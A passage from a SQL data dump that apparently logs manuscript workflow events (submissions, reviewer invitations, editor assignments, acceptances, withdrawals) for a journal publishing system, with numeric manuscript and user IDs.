to Author',7030,'Publisher',85),(77421,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7030,'Publisher',85),(77426,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8297,'Publisher',376),(77456,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8302,'Publisher',376),(77462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77467,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77517,'0000-00-00 00:00:00','Publisher : Notified Author',8068,'Publisher',85),(77518,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(77519,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(77520,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(77521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(77522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(77523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(77524,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8307,'Publisher',85),(77537,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8284,'Publisher',75),(77546,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8297,'Publisher',376),(77551,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8244,'Editor',1069),(77553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8244,'Publisher',319),(77554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8244,'Publisher',319),(77555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8244,'Publisher',319),(77556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8244,'Publisher',319),(77557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8244,'Publisher',319),(77566,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77567,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77568,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77569,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77570,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77571,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77572,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77573,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77574,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77575,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77576,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77577,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77579,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77580,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77581,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77582,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77583,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77594,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(77596,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8307,'Publisher',85),(77629,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8302,'Publisher',376),(77649,'0000-00-00 00:00:00','Reviewer has submitted comments',8244,'Reviewer',12875),(77659,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77660,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77661,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77662,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77663,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77667,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77668,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8297,'Publisher',376),(77701,'0000-00-00 00:00:00','Reviewer has submitted comments',4253,'Reviewer',12776),(77702,'0000-00-00 00:00:00','Reviewer has submitted comments',4253,'Reviewer',12776),(77737,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8315,'Publisher',48),(77738,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8316,'Publisher',48),(77739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8282,'Publisher',48),(77740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8282,'Publisher',48),(77744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7903,'Publisher',48),(77745,'0000-00-00 00:00:00','Reviewer has submitted comments',7903,'Reviewer',11689),(77746,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7903,'Editor',194),(77747,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8173,'Editor',194),(77748,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8173,'Editor',194),(77749,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8173,'Publisher',48),(77750,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7903,'Publisher',48),(77754,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8319,'Author',9467),(77758,'0000-00-00 00:00:00','Author sent Email',7903,'Author',9117),(77759,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8284,'Publisher',75),(77760,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8284,'Publisher',75),(77761,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8284,'Publisher',75),(77762,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8284,'Publisher',75),(77763,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8284,'Publisher',75),(77765,'0000-00-00 00:00:00','Manuscript Submitted by Author',8320,'Author',9180),(77766,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8321,'Publisher',274),(77768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77770,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77771,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77773,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77774,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77775,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77776,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77780,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77781,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77782,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77783,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8323,'Author',9472),(77794,'0000-00-00 00:00:00','Publisher : Notified Editor',8244,'Publisher',319),(77795,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8244,'Editor',1069),(77797,'0000-00-00 00:00:00','Publisher : Notified Author',8244,'Publisher',319),(77809,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8316,'Publisher',48),(77810,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8315,'Publisher',48),(77813,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8320,'Publisher',673),(77850,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8307,'Editor',1675),(77851,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8307,'Editor',1675),(77852,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8307,'Publisher',85),(77853,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8307,'Publisher',85),(77865,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8328,'Author',9478),(77869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8316,'Publisher',48),(77870,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8146,'Publisher',48),(77871,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8145,'Publisher',48),(77876,'0000-00-00 00:00:00','Author sent Email',8173,'Author',9339),(77877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8315,'Publisher',48),(77878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8315,'Publisher',48),(77879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8315,'Publisher',48),(77880,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8329,'Author',9479),(77902,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8319,'Publisher',75),(77926,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7712,'Publisher',645),(77927,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8211,'Editor',634),(77929,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8118,'',1147),(77950,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8321,'Publisher',274),(77955,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8163,'',1147),(77956,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7751,'Publisher',248),(77957,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7931,'Publisher',248),(77958,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8302,'Editor',1452),(77959,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8297,'Editor',1452),(77960,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8241,'Editor',1452),(77961,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8171,'Editor',1452),(77962,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8202,'Editor',1452),(77963,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8302,'Editor',1452),(77964,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8302,'Editor',1452),(77965,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8297,'Editor',1452),(77966,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8241,'Editor',1452),(77967,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8297,'Publisher',376),(77968,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8241,'Publisher',376),(77969,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6165,'Editor',1452),(77970,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6165,'Editor',1452),(77971,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6165,'Editor',1452),(77972,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',5222,'Editor',1012),(77973,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',5222,'Editor',1012),(77977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77978,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77980,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77981,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77982,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77983,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77984,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77985,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77986,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77987,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77988,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77989,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77990,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77991,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(77997,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8323,'Publisher',319),(77998,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8323,'Editor',1069),(77999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78015,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8337,'Publisher',319),(78016,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8338,'Publisher',319),(78017,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8339,'Publisher',319),(78018,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8340,'Publisher',319),(78033,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8328,'Publisher',75),(78034,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8329,'Publisher',48),(78042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7678,'Publisher',75),(78043,'0000-00-00 00:00:00','Reviewer has submitted comments',7678,'Reviewer',11589),(78044,'0000-00-00 00:00:00','Publisher : Notified Editor',7678,'Publisher',75),(78045,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8150,'Editor',162),(78046,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8208,'Editor',162),(78047,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7678,'Editor',162),(78048,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7678,'Publisher',75),(78058,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7678,'Publisher',75),(78059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(78060,'0000-00-00 00:00:00','Reviewer has submitted comments',7677,'Reviewer',11589),(78061,'0000-00-00 00:00:00','Publisher : Notified Editor',7677,'Publisher',75),(78062,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8147,'Editor',161),(78063,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8328,'Editor',161),(78064,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7677,'Editor',161),(78065,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7677,'Publisher',75),(78066,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7677,'Publisher',75),(78067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8323,'Publisher',319),(78078,'0000-00-00 00:00:00','Reviewer has submitted comments',8323,'Reviewer',12875),(78079,'0000-00-00 00:00:00','Publisher : Notified Editor',8323,'Publisher',319),(78080,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8323,'Editor',1069),(78081,'0000-00-00 00:00:00','Publisher : Notified Author',8323,'Publisher',319),(78093,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8159,'Publisher',274),(78094,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8159,'Publisher',274),(78096,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(78097,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8218,'Publisher',85),(78098,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(78099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8329,'Publisher',48),(78100,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8329,'Publisher',48),(78101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8329,'Publisher',48),(78102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8329,'Publisher',48),(78104,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8345,'Publisher',319),(78105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78119,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78127,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8340,'Publisher',319),(78128,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8339,'Publisher',319),(78129,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8338,'Publisher',319),(78132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7854,'Publisher',48),(78134,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7854,'Editor',194),(78136,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7854,'Editor',194),(78139,'0000-00-00 00:00:00','Reviewer has submitted comments',7854,'Reviewer',11689),(78140,'0000-00-00 00:00:00','Reviewer has submitted comments',7854,'Reviewer',11689),(78141,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7854,'Publisher',48),(78150,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6165,'Publisher',376),(78151,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',5222,'Publisher',376),(78152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78159,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78160,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78164,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8241,'Publisher',376),(78168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8092,'Publisher',48),(78169,'0000-00-00 00:00:00','Reviewer has submitted comments',8092,'Reviewer',11689),(78170,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8092,'Editor',194),(78171,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8092,'Editor',194),(78172,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8092,'Publisher',48),(78173,'0000-00-00 00:00:00','Author sent Email',7376,'Author',8648),(78174,'0000-00-00 00:00:00','Reviewer has submitted comments',7830,'Reviewer',11689),(78175,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7830,'Editor',194),(78176,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7830,'Editor',194),(78177,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7830,'Publisher',48),(78179,'0000-00-00 00:00:00','Author sent Email',3122,'Author',4089),(78180,'0000-00-00 00:00:00','Author sent Email',3122,'Author',4089),(78186,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8353,'Author',9500),(78187,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8226,'Editor',194),(78188,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8226,'Editor',194),(78189,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8226,'Publisher',48),(78190,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8315,'Editor',194),(78191,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8315,'Editor',194),(78192,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8315,'Publisher',48),(78193,'0000-00-00 00:00:00','Author sent Email',3122,'Author',4089),(78194,'0000-00-00 00:00:00','Author sent Email',3122,'Author',4089),(78195,'0000-00-00 00:00:00','Author sent Email',7924,'Author',9134),(78201,'0000-00-00 00:00:00','Author sent Email',8202,'Author',8771),(78208,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8358,'Publisher',48),(78209,'0000-00-00 00:00:00','Manuscript Submitted by Author',8359,'Author',9102),(78231,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8364,'Publisher',645),(78256,'0000-00-00 00:00:00','Reviewer has submitted comments',8226,'Reviewer',11689),(78257,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8316,'Editor',194),(78258,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8316,'Editor',194),(78259,'0000-00-00 00:00:00','Editor has Invited Reviewer',8316,'Editor',194),(78260,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8316,'Editor',194),(78261,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8316,'Publisher',48),(78303,'0000-00-00 00:00:00','Manuscript Submitted by Author',8381,'Author',9102),(78315,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8340,'Editor',1067),(78316,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8339,'Editor',1067),(78317,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8338,'Editor',1067),(78318,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8340,'Editor',1067),(78319,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8339,'Editor',1067),(78320,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8338,'Editor',1067),(78380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78384,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78385,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78389,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78390,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78391,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78392,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78393,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78394,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78417,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8338,'Publisher',319),(78418,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8339,'Publisher',319),(78419,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8340,'Publisher',319),(78420,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8226,'Publisher',48),(78429,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8389,'Author',9530),(78449,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8396,'Author',9537),(78451,'0000-00-00 00:00:00','Reviewer has submitted comments',8316,'Reviewer',5467),(78452,'0000-00-00 00:00:00','Reviewer has submitted comments',3593,'Reviewer',5467),(78453,'0000-00-00 00:00:00','Reviewer has submitted comments',8329,'Reviewer',5467),(78454,'0000-00-00 00:00:00','Reviewer has submitted comments',8329,'Reviewer',5467),(78461,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8345,'Publisher',319),(78462,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8345,'Editor',1069),(78463,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8345,'Editor',1069),(78464,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8345,'Publisher',319),(78471,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8359,'Publisher',274),(78475,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8358,'Publisher',48),(78476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8358,'Publisher',48),(78477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8358,'Publisher',48),(78478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8358,'Publisher',48),(78479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8358,'Publisher',48),(78480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8358,'Publisher',48),(78483,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(78484,'0000-00-00 00:00:00','Publisher : Notified Author',8068,'Publisher',85),(78492,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8381,'Publisher',274),(78498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8381,'Publisher',274),(78526,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8396,'Publisher',673),(78594,'0000-00-00 00:00:00','Reviewer has updated 